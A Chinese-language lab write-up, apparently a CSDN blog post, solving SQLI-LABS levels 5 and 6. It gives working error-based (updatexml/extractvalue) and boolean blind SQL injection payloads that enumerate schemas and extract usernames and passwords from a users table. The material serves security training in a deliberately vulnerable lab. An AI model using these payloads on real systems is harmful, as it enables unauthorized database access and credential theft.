SQLI-LABS(三)(5~6)

SQLI-LABS(三)


准备的函数:

left(a,b);     从左侧开始截取a的前b位
length(a);     返回字符串a的长度
regexp();
like();
substr(a,b,c); 从b位开始截取字符串a的c位
ascii('a');    返回字母 a 的 ascii值
ord();
chr();
if(a,b,c);     a为true,执行b;a错误,执行c

Less-5:

?id=1

在这里插入图片描述

?id=2

在这里插入图片描述

?id=50

在这里插入图片描述

发现只要语句正确,显示的结果都相同,没有回显

?id=1'

在这里插入图片描述出现报错信息,证明存在sql漏洞

sql语句:SELECT * FROM users WHERE id='1'' LIMIT 0,1
报错信息:''1'' LIMIT 0,1',去掉包围的引号,为'1'' LIMIT 0,1

知为字符型注入,以 '闭合
?id=1' order by 3--+
判断列数为3

方法一:报错注入

既然报错信息可以在页面中显示出来,那么我们进行报错注入

XPATH报错

extratvalue();
?id=1 and extractvalue(1,concat('^',(select version()),'^'))--+
updataxml();
?id=1 and updatexml(1,concat('^',(select version()),'^'),1)--+

注:'^' 可替换为十六进制 0x5e
也可使用 '~' 对应的十六进制为 0x7e

查库:

?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+

在这里插入图片描述
查表:

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~'),1)--+

在这里插入图片描述
查字段:

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'~'),1)--+

在这里插入图片描述
查字段内容:

?id=1' and updatexml(1,concat('~',(select group_concat(concat_ws('~',username,password))from security.users),'~'),1)--+

在这里插入图片描述

方法二:判断是否为布尔类型注入

?id=1' and 1=1--+

在这里插入图片描述

?id=1' and 1=2--+

在这里插入图片描述
两次页面不同,确定可以使用布尔盲注

布尔盲注—对可变参数进行爆破处理

查库:

判断数据库的长度:

数据库长度是否为1?
?id=1' and length(database())=1 --+

具体判断数据库的组成:

字母判断:
判断数据库名的第一位是否为a?
?id=1' and left(database(),1)='a'--+
ascii判断:
判断数据库名的第一位ascii值是否大于100?
?id=1 and ascii(substr(database(),1,1)) > 100 --+ 

经过尝试之后可以知道

?id=1' and length(database())='8'--+
?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and database()='security'--+
即数据库是 security

看哪一个库名开头为's'?
?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 7,1),1,1)) =115--+
知第八个数据库为 security

查表:

看哪一个表名开头为'u'?
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)) ='117'--+
知第四张表为 users

查字段:

看哪一个字段开头为'u'?
?id=1' and ascii(substr((select column_name from information_schema.columns  where table_name='users' limit 12,1),1,1)) =117--+
知第13个字段为 username
同样的方法知道第13个字段为 password

查字段内容:

?id=1' and ascii(substr((select username from security.users limit 0,1),1,1)) > 100--+
?id=1' and ascii(substr((select password from security.users limit 0,1),1,1)) > 100--+
用该方法一个一个查出 username,以及password 的信息

Less-6:

?id=1"

在这里插入图片描述出现报错信息,证明存在sql漏洞

报错信息:'"1"" LIMIT 0,1',去掉包围的引号,为 "1"" LIMIT 0,1
知为字符型注入,以 "闭合
?id=1" order by 3--+
判断列数为3

与第五关的区别只有闭合方式不同,将第五个的单引号改为双引号即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值